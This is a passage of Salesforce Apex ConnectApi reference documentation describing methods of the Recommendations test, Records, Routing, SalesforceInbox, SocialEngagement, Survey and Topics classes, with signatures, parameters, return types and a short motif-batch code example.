• If action is view, objectCategory is 005 (users), 069 (files), 0F9 (groups), 0RD (custom recommendations), T (static recommendations), or 001 (accounts), for example.

contextAction
Type: ConnectApi.RecommendationActionType
Action that the context user just performed. Supported values are:
• follow
• view

Use contextAction and contextObjectId together to get new recommendations based on the action just performed. If you don’t want recommendations based on a recent action, specify null.

contextObjectId
Type: String
ID of the object that the context user just performed an action on.
• If contextAction is follow, contextObjectId is a user ID, file ID, or record ID.
• If `contextAction` is `view`, `contextObjectId` is a user ID, file ID, group ID, or record ID.
  
  Use `contextAction` and `contextObjectId` together to get new recommendations based on the action just performed.

  If you don’t want recommendations based on a recent action, specify `null`.

  `maxResults`
  
  Type: `Integer`
  
  Maximum number of recommendation results; default is 10. Values must be from 1 to 99.

Return Value

  Type: `ConnectApi.RecommendationCollection`

Usage

  If you want to get recommendations based on a recent action performed, such as following a user, use `contextAction` and `contextObjectId` together. For example, if you just followed Pam, you specify `follow` for `contextAction` and Pam’s user ID for `contextObjectId`.

  This method only recommends users who are followed by people who follow Pam. In this example, John follows Pam so the method returns a recommendation for you to follow Suzanne since John also follows Suzanne.

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

  `setTestGetRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, maxResults, result)`

  Testing ConnectApi Code

`getScheduledRecommendations(communityId)`

Get scheduled custom recommendations.
API Version
35.0 only

⚠️ Important: In version 36.0 and later, use `getScheduledRecommendations(communityId, channel)`.

Requires Chatter
No

Signature
```java
class ConnectApi

public static ConnectApi.ScheduledRecommendationPage getScheduledRecommendations(String communityId)
```

Parameters

`communityId`
Type: `String`
Use the ID for an Experience Cloud site, `internal`, or `null`.

Return Value
Type: `ConnectApi.ScheduledRecommendationPage`

Usage
Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

`setTestGetRecommendationsForUser(communityId, userId, contextAction, contextObjectId, maxResults, result)`
Register a `ConnectApi.RecommendationCollection` object to be returned when `getRecommendationsForUser` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
33.0–35.0

Requires Chatter
Yes

Signature
```java
class ConnectApi

public static Void setTestGetRecommendationsForUser(String communityId, String userId, ConnectApi.RecommendationActionType contextAction, String contextObjectId, Integer maxResults, ConnectApi.RecommendationCollection result)
```
Parameters

- **communityId**
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

- **userId**
  Type: String
  The ID for the context user or the keyword me.

- **contextAction**
  Type: ConnectApi.RecommendationActionType
  Action that the context user just performed. Supported values are:
  - follow
  - view

  Use contextAction and contextObjectId together to get new recommendations based on the action just performed. If you don’t want recommendations based on a recent action, specify null.

- **contextObjectId**
  Type: String
  ID of the object that the context user just performed an action on.
  - If contextAction is follow, contextObjectId is a user ID, file ID, or record ID.
  - If contextAction is view, contextObjectId is a user ID, file ID, group ID, or record ID.

  Use contextAction and contextObjectId together to get new recommendations based on the action just performed. If you don’t want recommendations based on a recent action, specify null.

- **maxResults**
  Type: Integer
  Maximum number of recommendation results; default is 10. Values must be from 1 to 99.

- **result**
  Type: ConnectApi.RecommendationCollection
  The object containing test data.

Return Value

Type: Void

SEE ALSO:

- getRecommendationsForUser(communityId, userId, contextAction, contextObjectId, maxResults)
- Testing ConnectApi Code

**setTestGetRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, maxResults, result)**

Register a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
API Version
33.0–35.0

Requires Chatter
Yes

Signature
`public static Void setTestGetRecommendationsForUser(String communityId, String userId, ConnectApi.RecommendationActionType action, ConnectApi.RecommendationActionType contextAction, String contextObjectId, Integer maxResults, ConnectApi.RecommendationCollection result)`

Parameters

`communityId`
Type: `String`
Use the ID for an Experience Cloud site, internal, or `null`.

`userId`
Type: `String`
The ID for the context user or the keyword `me`.

`action`
Type: `ConnectApi.RecommendationActionType`
Specifies the action to take on a recommendation.
- follow—Follow a file, record, topic, or user.
- join—Join a group.
- view—View a file, group, article, record, user, custom, or static recommendation.

`contextAction`
Type: `ConnectApi.RecommendationActionType`
Action that the context user just performed. Supported values are:
- follow
- view

Use `contextAction` and `contextObjectId` together to get new recommendations based on the action just performed. If you don't want recommendations based on a recent action, specify `null`.

`contextObjectId`
Type: `String`
ID of the object that the context user just performed an action on.
- If `contextAction` is follow, `contextObjectId` is a user ID, file ID, or record ID.
- If `contextAction` is view, `contextObjectId` is a user ID, file ID, group ID, or record ID.

Use `contextAction` and `contextObjectId` together to get new recommendations based on the action just performed. If you don't want recommendations based on a recent action, specify `null`.
maxResults
  Type: Integer
  Maximum number of recommendation results; default is 10. Values must be from 1 to 99.

result
  Type: ConnectApi.RecommendationCollection
  The object containing test data.

Return Value
Type: Void

SEE ALSO:
  getRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, maxResults)
Testing ConnectApi Code

setTestGetRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, maxResults, result)

Register a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
33.0–35.0

Requires Chatter
Yes

Signature
public static Void setTestGetRecommendationsForUser(String communityId, String userId, ConnectApi.RecommendationActionType action, String objectCategory, ConnectApi.RecommendationActionType contextAction, String contextObjectId, Integer maxResults, ConnectApi.RecommendationCollection result)

Parameters

  communityId
    Type: String
    Use the ID for an Experience Cloud site, internal, or null.

  userId
    Type: String
    The ID for the context user or the keyword me.

  action
    Type: ConnectApi.RecommendationActionType
Specifies the action to take on a recommendation.
- **follow**—Follow a file, record, topic, or user.
- **join**—Join a group.
- **view**—View a file, group, article, record, user, custom, or static recommendation.

`objectCategory`
Type: `String`
- If `action` is `follow`, `objectCategory` is `users`, `files`, or `records`.
- If `action` is `join`, `objectCategory` is `groups`.
- If `action` is `view`, `objectCategory` is `users`, `files`, `groups`, `records`, `custom`, or `apps`.

You can also specify a key prefix, the first three characters of the object ID, as the `objectCategory`. Valid values are:
- If `action` is `follow`, `objectCategory` is `005` (users), `069` (files), or `001` (accounts), for example.
- If `action` is `join`, `objectCategory` is `0F9` (groups).
- If `action` is `view`, `objectCategory` is `005` (users), `069` (files), `0F9` (groups), `0RD` (custom recommendations), `T` (static recommendations), or `001` (accounts), for example.

`contextAction`
Type: `ConnectApi.RecommendationActionType`
Action that the context user just performed. Supported values are:
- **follow**
- **view**

Use `contextAction` and `contextObjectId` together to get new recommendations based on the action just performed. If you don’t want recommendations based on a recent action, specify `null`.

`contextObjectId`
Type: `String`
ID of the object that the context user just performed an action on.
- If `contextAction` is `follow`, `contextObjectId` is a user ID, file ID, or record ID.
- If `contextAction` is `view`, `contextObjectId` is a user ID, file ID, group ID, or record ID.

Use `contextAction` and `contextObjectId` together to get new recommendations based on the action just performed. If you don’t want recommendations based on a recent action, specify `null`.

`maxResults`
Type: `Integer`
Maximum number of recommendation results; default is 10. Values must be from 1 to 99.

`result`
Type: `ConnectApi.RecommendationCollection`
The object containing test data.
Return Value
Type: Void

SEE ALSO:
- getRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, maxResults)

Testing ConnectApi Code

Records Class
Access information about record motifs, which are small icons used to distinguish record types in the Salesforce UI.

Namespace
ConnectApi

Records Methods
The following are methods for Records. All methods are static.

IN THIS SECTION:
- getMotif(communityId, idOrPrefix)
  Get a motif that contains the URLs for a set of small, medium, and large motif icons for a record. It can also contain a base color for the record.
- getMotifBatch(communityId, idOrPrefixList)
  Get a motif for a list of objects.

getMotif(communityId, idOrPrefix)
Get a motif that contains the URLs for a set of small, medium, and large motif icons for a record. It can also contain a base color for the record.

API Version
28.0

Requires Chatter
No

Signature
public static ConnectApi.Motif getMotif(String communityId, String idOrPrefix)

Parameters
- communityId
  Type: String
Use the ID for an Experience Cloud site, internal, or null.

**idOrPrefix**
Type: String
An ID or key prefix.

Return Value
Type: `ConnectApi.Motif`

Usage
Each Salesforce record type has its own set of motif icons.

**getMotifBatch(communityId, idOrPrefixList)**
Get a motif for a list of objects.

API Version
31.0

Requires Chatter
No

Signature
```
public static ConnectApi.BatchResult[] getMotifBatch(String communityId, List<String> idOrPrefixList)
```

Parameters

- **communityId**
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

- **idOrPrefixList**
  Type: List<String>
  A list of object IDs or prefixes.

Return Value
Type: `ConnectApi.BatchResult[]`
Example

```java
String communityId = null;
List<String> prefixIds = new List<String> { '001', '01Z', '069' };

// Get info about the motifs of all records in the list.
ConnectApi.BatchResult[] batchResults = ConnectApi.Records.getMotifBatch(communityId, prefixIds);

for (ConnectApi.BatchResult batchResult : batchResults) {
    if (batchResult.isSuccess()) {
        // Operation was successful.
        // Print the color of each motif.
        ConnectApi.Motif motif;
        if (batchResult.getResult() instanceof ConnectApi.Motif) {
            motif = (ConnectApi.Motif) batchResult.getResult();
        }
        System.debug('SUCCESS');
        System.debug(motif.color);
    } else {
        // Operation failed. Print errors.
        System.debug('FAILURE');
        System.debug(batchResult.getErrorMessage());
    }
}
```

Routing Class

Route orders to inventory locations in Order Management.

Namespace

ConnectApi

Routing Methods

The following are methods for Routing. All methods are static.

IN THIS SECTION:

- `findRoutesWithFewestSplits(findRoutesWithFewestSplitsInputRepresentation)`
  Returns combinations of inventory locations that can fulfill an order within a specified limit of shipment splits.

- `rankAverageDistance(rankAverageDistanceInputRepresentation)`
  Calculates the average distance from sets of inventory locations to an order recipient, and ranks them. Use this method to compare the average shipping distances for different sets of locations that can fulfill an order.

- `findRoutesWithFewestSplits(findRoutesWithFewestSplitsInputRepresentation)`
  Returns combinations of inventory locations that can fulfill an order within a specified limit of shipment splits.
API Version
$1.0

Requires Chatter
No

Signature
public static ConnectApi.FindRoutesWithFewestSplitsOutputRepresentation
findRoutesWithFewestSplits(ConnectApi.FindRoutesWithFewestSplitsInputRepresentation
findRoutesWithFewestSplitsInputRepresentation)

Parameters

findRoutesWithFewestSplitsInputRepresentation
  Type: ConnectApi.FindRoutesWithFewestSplitsInputRepresentation on page 2051
  The input includes the ordered item quantities, data about available inventory, and, optionally, a maximum allowable number of shipment splits.

Return Value
Type: ConnectApi.FindRoutesWithFewestSplitsOutputRepresentation on page 2209

rankAverageDistance (rankAverageDistanceInputRepresentation)
Calculates the average distance from sets of inventory locations to an order recipient, and ranks them. Use this method to compare the average shipping distances for different sets of locations that can fulfill an order.

API Version
$1.0

Requires Chatter
No

Signature
public static ConnectApi.RankAverageDistanceOutputRepresentation
rankAverageDistance (ConnectApi.RankAverageDistanceInputRepresentation
rankAverageDistanceInputRepresentation)

Parameters

rankAverageDistanceInputRepresentation
  Type: ConnectApi.RankAverageDistanceInputRepresentation on page 2071
  An order recipient’s geographic location and information about sets of inventory locations that can fulfill the order.
Return Value
Type: ConnectApi.RankAverageDistanceOutputRepresentation on page 2277

SalesforceInbox Class
Access information about Automated Activity Capture, which is available in Einstein and Salesforce Inbox.

Namespace
ConnectApi

SalesforceInbox Methods
The following are methods for SalesforceInbox. All methods are static.

IN THIS SECTION:
  shareActivity(activityId, sharingInfo)
  Share emails or events with certain groups of users.

shareActivity(activityId, sharingInfo)
Share emails or events with certain groups of users.

API Version
39.0

Requires Chatter
No

Signature
public static ConnectApi.ActivitySharingResult shareActivity(String activityId, ConnectApi.ActivitySharingInput sharingInfo)

Parameters
activityId
  Type: String
  The ID of the activity.
sharingInfo
  Type: ConnectApi.ActivitySharingInput
  A ConnectApi.ActivitySharingInput object.

Return Value
Type: ConnectApi.ActivitySharingResult
Usage
This method is a feature of both Sales Cloud Einstein and Inbox. It lets users connect their email and calendar to Salesforce. Then, their emails and events are automatically added to related Salesforce records. Users can specify who their individual emails and events are shared with.

SmartDataDiscovery Class
Get predictions on Salesforce objects.

Use the `ConnectApi.SmartDataDiscovery.predict` method to get predictions on Salesforce objects. For more information, see Get Predictions in Apex.

SocialEngagement Class
Manage information about social accounts or fan pages for social networks.

Namespace
ConnectApi

SocialEngagement Methods
The following are methods for SocialEngagement. All methods are static.

IN THIS SECTION:
- `deleteSocialPost(socialPostId, socialAccountId)`
  Delete a social post from its social network.
- `followSocialPersona(socialPersonaId, socialAccountId)`
  Follow a social persona in its social network.
- `followSocialPostPersona(socialPostId, socialAccountId)`
  Follow a social persona on a social post in its social network.
- `getIntents(socialPostId)`
  Get available intents for a social post.
- `getManagedSocialAccount(id)`
  Get a managed social account that is in the org and assigned to the user.
- `getManagedSocialAccounts()`
  Gets a list of managed social accounts that are in the org and assigned to the user.
- `getManagedSocialAccounts(socialNetwork)`
  Get a list of managed social accounts that are in the org and assigned to the user.
- `getRelationship(id, socialPersonaId)`
  Get the follow relationship between a managed social account and a social persona.
- `hideSocialPost(socialPostId, socialAccountId)`
  Hide a social post in its social network.
likeSocialPost(socialPostId, socialAccountId)
Like a social post in its social network.

massApprove(massApproval)
Approve or reject the publishing of a large number of social posts.

recallApproval(socialPostId)
Recall an approval request to publish a social post.

unfollowSocialPersona(socialPersonaId, socialAccountId)
Stop following a social persona in its social network.

unfollowSocialPostPersona(socialPostId, socialAccountId)
Stop following a social persona of a social post in its social network.

unhideSocialPost(socialPostId, socialAccountId)
Unhide a social post in its social network.

unlikeSocialPost(socialPostId, socialAccountId)
Unlike a social post in its social network.

deleteSocialPost(socialPostId, socialAccountId)
Delete a social post from its social network.

⚠️ **Note:** Deleting a social post from its social network doesn’t delete the record from Salesforce.

API Version
46.0

Requires Chatter
No

Signature
```java
public static ConnectApi.DeleteSocialPostIntent deleteSocialPost(String socialPostId, String socialAccountId)
```

Parameters

- **socialPostId**
  Type: String
  ID of the social post to delete.

- **socialAccountId**
  Type: String
  ID of the social account that deletes the post.

Return Value

Type: `ConnectApi.DeleteSocialPostIntent`
followSocialPersona(socialPersonaId, socialAccountId)
Follow a social persona in its social network.

API Version
45.0

Requires Chatter
No

Signature
public static ConnectApi.FollowSocialPersonaIntent followSocialPersona(String socialPersonaId, String socialAccountId)

Parameters
socialPersonaId
Type: String
ID of the social persona to follow.
socialAccountId
Type: String
ID of the social account that follows the social persona.

Return Value
Type: ConnectApi.FollowSocialPersonaIntent

followSocialPostPersona(socialPostId, socialAccountId)
Follow a social persona on a social post in its social network.

API Version
45.0

Requires Chatter
No

Signature
public static ConnectApi.FollowSocialPersonaIntent followSocialPostPersona(String socialPostId, String socialAccountId)
Parameters

socialPostId
Type: String
ID of the social post authored by the social persona to follow.

socialAccountId
Type: String
ID of the social account that follows the social persona.

Return Value
Type: ConnectApi.FollowSocialPersonaIntent

getIntents(socialPostId)
Get available intents for a social post.

API Version
45.0

Requires Chatter
No

Signature
public static ConnectApi.SocialPostIntents getIntents(String socialPostId)

Parameters

socialPostId
Type: String
ID of a social post.

Return Value
Type: ConnectApi.SocialPostIntents

getManagedSocialAccount(id)
Get a managed social account that is in the org and assigned to the user.

API Version
44.0

Requires Chatter
No
public static ConnectApi.ManagedSocialAccount getManagedSocialAccount(String id)

Parameters

id
Type: String
Description: Internal SFDC ID for this managed social account.

Return Value

Type: ConnectApi.ManagedSocialAccount

getManagedSocialAccounts()
Gets a list of managed social accounts that are in the org and assigned to the user.

API Version
44.0

Requires Chatter
No

Signature

public static ConnectApi.ManagedSocialAccounts getManagedSocialAccounts()

Return Value

Type: ConnectApi.ManagedSocialAccounts

getManagedSocialAccounts(socialNetwork)
Get a list of managed social accounts that are in the org and assigned to the user.

API Version
44.0

Requires Chatter
No

Signature

public static ConnectApi.ManagedSocialAccounts getManagedSocialAccounts(ConnectApi.SocialNetworkProvider socialNetwork)
Parameters

**socialNetwork**

*Type:* `ConnectApi.SocialNetworkProvider`

*Description:* Filters results based on the social network. Values are:

- Facebook
- GooglePlus
- Instagram
- InstagramBusiness
- KakaoTalk
- Kik
- Line
- LinkedIn
- Messenger
- Other
- Pinterest
- QQ
- Rypple
- SinaWeibo
- SMS
- Snapchat
- Telegram
- Twitter
- VKontakte
- WeChat
- WhatsApp
- YouTube

Return Value

*Type:* `ConnectApi.ManagedSocialAccounts`

**getRelationship(id, socialPersonaId)**

Get the follow relationship between a managed social account and a social persona.

API Version

46.0

Requires Chatter

No
Signature

```
public static ConnectApi.SocialAccountRelationship getRelationship(String id, String socialPersonaId)
```

Parameters

- `id`
  Type: `String`
  ID of the managed social account.

- `socialPersonaId`
  Type: `String`
  ID of the social persona.

Return Value

Type: `ConnectApi.SocialAccountRelationship`

---

**hideSocialPost(socialPostId, socialAccountId)**

Hide a social post in its social network.

API Version

46.0

Requires Chatter

No

Signature

```
public static ConnectApi.HideSocialPostIntent hideSocialPost(String socialPostId, String socialAccountId)
```

Parameters

- `socialPostId`
  Type: `String`
  ID of the social post to hide.

- `socialAccountId`
  Type: `String`
  ID of the social account that hides the post.

Return Value

Type: `ConnectApi.HideSocialPostIntent`
likeSocialPost(socialPostId, socialAccountId)
Like a social post in its social network.

API Version
46.0

Requires Chatter
No

Signature
public static ConnectApi.LikeSocialPostIntent likeSocialPost(String socialPostId, String socialAccountId)

Parameters

socialPostId
  Type: String
  ID of the social post to like.

socialAccountId
  Type: String
  ID of the social account that likes the post.

Return Value
Type: ConnectApi.LikeSocialPostIntent

massApprove(massApproval)
Approve or reject the publishing of a large number of social posts.

API Version
46.0

Requires Chatter
No

Signature
public static ConnectApi.SocialPostMassApprovalOutput massApprove(ConnectApi.SocialPostMassApprovalInput massApproval)
Parameters

massApproval
    Type: ConnectApi.SocialPostMassApprovalInput
    A ConnectApi.SocialPostMassApprovalInput body that includes a list of social post IDs and the action to approve or reject publishing them.

Return Value
    Type: ConnectApi.SocialPostMassApprovalOutput

**recallApproval(socialPostId)**
Recall an approval request to publish a social post.

API Version
46.0

Requires Chatter
No

Signature
    public static Void recallApproval(String socialPostId)

Parameters

socialPostId
    Type: String
    ID of the social post.

Return Value
    Type: Void

**unfollowSocialPersona(socialPersonaId, socialAccountId)**
Stop following a social persona in its social network:

API Version
45.0

Requires Chatter
No
public static Void unfollowSocialPersona(String socialPersonaId, String socialAccountId)

Parameters

- socialPersonaId
  Type: String
  ID of the social persona to stop following.
- socialAccountId
  Type: String
  ID of the social account that stops following the social persona.

Return Value

Type: Void

unfollowSocialPostPersona(socialPostId, socialAccountId)

Stop following a social persona of a social post in its social network.

API Version

45.0

Requires Chatter

No

unhideSocialPost(socialPostId, socialAccountId)

Unhide a social post in its social network.
API Version

46.0

Requires Chatter

No

Signature

public static Void unhideSocialPost(String socialPostId, String socialAccountId)

Parameters

socialPostId
  Type: String
  ID of the social post to unhide.

socialAccountId
  Type: String
  ID of the social account that unhides the post.

Return Value

Type: Void

unlikeSocialPost(socialPostId, socialAccountId)

Unlike a social post in its social network.

API Version

46.0

Requires Chatter

No

Signature

public static Void unlikeSocialPost(String socialPostId, String socialAccountId)

Parameters

socialPostId
  Type: String
  ID of the social post to unlike.

socialAccountId
  Type: String
  ID of the social account that unlikes the post.
Return Value
Type: Void

Survey Class
Send survey invitations by email.

Namespace
ConnectApi

Survey Methods
These methods are for Survey. All methods are static.

IN THIS SECTION:

sendSurveyInvitationEmail(surveyID, SurveyEmailInput)
Email survey invitations to up to 300 participants. You can email either leads, contacts, or users in your org. Either a link to launch the survey or a question can be embedded in the email invitations.

sendSurveyInvitationEmail(surveyID, SurveyEmailInput)
Email survey invitations to up to 300 participants. You can email either leads, contacts, or users in your org. Either a link to launch the survey or a question can be embedded in the email invitations.

API Version
50.0

Requires Chatter
No

Signature
public static ConnectApi.SurveyInvitationEmailOutput sendSurveyInvitationEmail(String surveyID, ConnectApi.SurveyInvitationEmailInput SurveyEmailInput)

Parameters

surveyID
Type: String
ID of the survey.

SurveyEmailInput
Type: ConnectApi.SurveyInvitationEmailInput
A ConnectApi.SurveyInvitationEmailInput object.
Return Value
Type: `ConnectApi.SurveyInvitationEmailOutput`

Topics Class
Access information about topics, such as their descriptions, the number of people talking about them, related topics, and information about groups contributing to the topic. Update a topic's name or description, merge topics, and add and remove topics from records and feed items.

Namespace
`ConnectApi`

Topics Methods
The following are methods for `Topics`. All methods are static.

**IN THIS SECTION:**
- `assignTopic(communityId, recordId, topicId)` Assign a topic to a record or feed item.
- `assignTopicByName(communityId, recordId, topicName)` Assign a topic to a record or feed item.
- `createTopic(communityId, name, description)` Create a topic.
- `createTopicDataCategoryRules(communityId, dataCategoryGroup, dataCategory, topicNames)` Create topic and article assignment rules by data category.
- `deleteTopic(communityId, topicId)` Delete a topic.
- `getGroupsRecentlyTalkingAboutTopic(communityId, topicId)` Get information about the five groups that most recently contributed to a topic.
- `getRecentlyTalkingAboutTopicsForGroup(communityId, groupId)` Get up to five topics most recently used in a group.
- `getRecentlyTalkingAboutTopicsForUser(communityId, userId)` Get up to five topics most recently used by a user.
- `getRelatedTopics(communityId, topicId)` Get up to five topics most closely related to a topic.
- `getTopic(communityId, topicId)` Get a topic.
- `getTopicDataCategoryRules(communityId, dataCategoryGroup, dataCategory)` Get topic and article assignment rules by data category.
- `getTopics(communityId, recordId)` Get the first page of topics assigned to a record or feed item.
getTopics(communityId)
Get the first page of topics for the org or Experience Cloud site.

getTopics(communityId, sortParam)
Get the first page of sorted topics for the org or community.

getTopics(communityId, pageParam, pageSize)
Get a page of topics.

getTopics(communityId, pageParam, pageSize, sortParam)
Get a page of sorted topics.

getTopics(communityId, q, sortParam)
Get the sorted topics that match the search criteria.

getTopics(communityId, q, pageParam, pageSize)
Get a page of topics that match the search criteria.

getTopics(communityId, q, pageParam, pageSize, sortParam)
Get a page of sorted topics that match the search criteria.

getTopics(communityId, q, exactMatch)
Get the topic that matches the exact, case-insensitive name.

getTopicsOrFallBackToRenamedTopics(communityId, q, exactMatch, fallBackToRenamedTopics)
Get the most recent renamed topic match, if there isn’t an exact match.

getTopicSuggestions(communityId, recordId, maxResults)
Get up to a specified number of suggested topics for a record or feed item.

getTopicSuggestions(communityId, recordId)
Get suggested topics for a record or feed item.

getTopicSuggestionsForText(communityId, text, maxResults)
Get up to a specified number of suggested topics for a string of text.

getTopicSuggestionsForText(communityId, text)
Get suggested topics for a string of text.

getTrendingTopics(communityId)
Get trending topics for the org or Experience Cloud site.

getTrendingTopics(communityId, maxResults)
Get up to a specified number of trending topics for the org or Experience Cloud site.

mergeTopics(communityId, topicId, idsToMerge)
Merge up to five secondary topics with a primary topic.

reassignTopicDataCategoryRules(communityId, dataCategoryGroup, dataCategory, topicNames)
Reassign topic and article assignment rules by data category by deleting the existing rules and creating new rules.

reassignTopicsByName(communityId, recordId, topicNames)
Reassign all the topics on a record or feed item, that is, remove all the assigned topics on a record or feed item and add topics. Optionally, provide a list of suggested topics to assign to a record or feed item to improve future topic suggestions.

unassignTopic(communityId, recordId, topicId)
Remove a topic from a record or feed item.

updateTopic(communityId, topicId, topic)
Update the description or name of a topic or merge up to five secondary topics with a primary topic.
assignTopic(communityId, recordId, topicId)

Assign a topic to a record or feed item.

API Version
29.0

Requires Chatter
No

Signature
public static ConnectApi.Topic assignTopic(String communityId, String recordId, String topicId)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

recordId
Type: String
The ID for a record or feed item.

topicId
Type: String
The ID for a topic.

Return Value
Type: ConnectApi.Topic

Usage
Only users with the Assign Topics permission can add existing topics to records or feed items. Administrators must enable topics for objects before users can add topics to records of that object type.

assignTopicByName(communityId, recordId, topicName)

Assign a topic to a record or feed item.

API Version
29.0
Requires Chatter
No

Signature

`public static ConnectApi.Topic assignTopicByName(String communityId, String recordId, String topicName)`

Parameters

`communityId`
Type: `String`
Use the ID for an Experience Cloud site, internal, or null.

`recordId`
Type: `String`
The ID of the record or feed item to which to assign the topic.

`topicName`
Type: `String`
The name of a new or existing topic.

Return Value
Type: `ConnectApi.Topic`

Usage
Only users with the Assign Topics permission can add existing topics to records or feed items. Only users with the Create Topics permission can add new topics to records or feed items. Administrators must enable topics for objects before users can add topics to records of that object type.

`createTopic(communityId, name, description)`
Create a topic.

API Version
36.0

Requires Chatter
No

Signature

`public static ConnectApi.Topic createTopic(String communityId, String name, String description)`
Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

name
Type: String
The name of the topic.

description
Type: String
The description of the topic.

Return Value
Type: ConnectApi.Topic

Usage
Only users with the Create Topics permission can create a topic.

createTopicDataCategoryRules(communityId, dataCategoryGroup, dataCategory, topicNames)
Create topic and article assignment rules by data category.

API Version
40.0

Requires Chatter
No

Signature

public static ConnectApi.TopicPage createTopicDataCategoryRules(String communityId, String dataCategoryGroup, String dataCategory, ConnectApi.TopicNamesInput topicNames)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

dataCategoryGroup
Type: String
The data category group used by articles.

dataCategory
Type: String
The data category used by articles.

**topicNames**
Type: `ConnectApi.TopicNamesInput`
A `ConnectApi.TopicNamesInput` object with the names of topics to assign to articles in a data category.

**Return Value**
Type: `ConnectApi.TopicPage`

### deleteTopic(communityId, topicId)
Delete a topic.

**API Version**
29.0

**Requires Chatter**
No

**Signature**
```java
public static Void deleteTopic(String communityId, String topicId)
```

**Parameters**
- **communityId**
  Type: `String`,
  Use the ID for an Experience Cloud site, `internal`, or `null`.
- **topicId**
  Type: `String`
  The ID for a topic.

**Return Value**
Type: Void

**Usage**
Only users with the Delete Topics or Modify All Data permission can delete topics.

Topic deletion is asynchronous. If a topic is requested before the deletion completes, the response is successful and the `isBeingDeleted` property of `ConnectApi.Topic` is `true` in version 33.0 and later. If a topic is requested after the deletion completes, the response is `ConnectApi.NotFoundException`.

### getGroupsRecentlyTalkingAboutTopic(communityId, topicId)
Get information about the five groups that most recently contributed to a topic.
public static ConnectApi.ChatterGroupSummaryPage
getGroupsRecentlyTalkingAboutTopic(String communityId, String topicId)

Parameters

communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

topicId
  Type: String
  The ID for a topic.

Return Value

Type: ConnectApi.ChatterGroupSummaryPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

setTestGetGroupsRecentlyTalkingAboutTopic(communityId, topicId, result)
Testing ConnectApi Code

getRecentlyTalkingAboutTopicsForGroup(communityId, groupId)
Get up to five topics most recently used in a group.
Available to Guest Users
32.0

Requires Chatter
Yes

Signature
public static ConnectApi.TopicPage getRecentlyTalkingAboutTopicsForGroup(String communityId, String groupId)

Parameters

communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

groupId
  Type: String
  The ID for a group.

Return Value
Type: ConnectApi.TopicPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestGetRecentlyTalkingAboutTopicsForGroup(communityId, groupId, result)
Testing ConnectApi Code

getRecentlyTalkingAboutTopicsForUser(communityId, userId)
Get up to five topics most recently used by a user.

API Version
29.0

Available to Guest Users
32.0
Requires Chatter
Yes

Signature

```java
public static ConnectApi.TopicPage getRecentlyTalkingAboutTopicsForUser(String communityId, String userId)
```

Parameters

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- **userId**
  - Type: `String`
  - The ID for a user.

Return Value

Type: `ConnectApi.TopicPage`

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestGetRecentlyTalkingAboutTopicsForUser(communityId, userId, result)`
- `Testing ConnectApi Code`

**getRelatedTopics(communityId, topicId)**

Get up to five topics most closely related to a topic.

Two topics that are assigned to the same feed item at least three times are related.

API Version
29.0

Available to Guest Users
32.0

Requires Chatter
No
public static ConnectApi.TopicPage getRelatedTopics(String communityId, String topicId)

Parameters

communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

topicId
  Type: String
  The ID for a topic.

Return Value

Type: ConnectApi.TopicPage

Usage

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

  setTestGetRelatedTopics(communityId, topicId, result)
  Testing ConnectApi Code

getTopic(communityId, topicId)

Get a topic.

API Version

29.0

Available to Guest Users

32.0

Requires Chatter

No

Signature

public static ConnectApi.Topic getTopic(String communityId, String topicId)
Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**topicId**
Type: String
The ID for a topic.

Return Value
Type: ConnectApi.Topic

### getTopicDataCategoryRules(communityId, dataCategoryGroup, dataCategory)
Get topic and article assignment rules by data category.

API Version
40.0

Requires Chatter
No

Signature
```
public static ConnectApi.TopicPage getTopicDataCategoryRules(String communityId, String dataCategoryGroup, String dataCategory)
```

Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**dataCategoryGroup**
Type: String
The data category group used by articles.

**dataCategory**
Type: String
The data category used by articles.

Return Value
Type: ConnectApi.TopicPage
getTopics(communityId, recordId)
Get the first page of topics assigned to a record or feed item.

API Version
29.0

Available to Guest Users
32.0

Requires Chatter
No

Signature
public static ConnectApi.TopicPage getTopics(String communityId, String recordId)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

recordId
Type: String
The ID for a record or feed item.

Return Value
Type: ConnectApi.TopicPage

Usage
Administrators must enable topics for objects before users can add topics to records of that object type.

getTopics(communityId)
Get the first page of topics for the org or Experience Cloud site.

API Version
29.0

Available to Guest Users
32.0
Requires Chatter
No

Signature

```
public static ConnectApi.TopicPage getTopics(String communityId)
```

Parameters

```
communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.
```

Return Value

Type: `ConnectApi.TopicPage`

```
